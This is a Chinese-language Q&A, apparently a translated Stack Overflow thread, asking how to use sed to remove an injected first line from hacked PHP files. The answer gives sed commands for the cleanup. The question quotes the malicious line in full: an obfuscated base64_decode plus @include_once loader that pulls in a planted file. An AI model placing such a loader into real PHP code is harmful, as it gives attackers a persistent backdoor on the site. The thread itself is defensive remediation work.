使用带有正则表达式的sed删除第一行

时间:2013-02-13 12:13:00

标签: linux sed grep

我想删除与下一个grep命令匹配的所有文件中的第一行:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

这些文件被黑了,我想删除这一行。 我尝试使用“sed”的几个命令,但没有结果,这样的命令:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

谢谢,最好的问候。

编辑。例如:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

并且只想从<?php /*....移至*/?>

1 个答案:

答案 0 :(得分:3)

你想要的是:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

此操作仅在第一行上运行,如果它与您的模式匹配,则删除它(就地,并使用.ORIG扩展名备份原始文件)。

更新:

如果您只想删除第一行的某些部分:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

在你的情况下可能是:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

但这只会在某些情况下起作用......例如<?php可能出现在编码的字符串部分中......(可能会发生......)。并且sed不支持非贪婪和/或前瞻,后视正则表达式......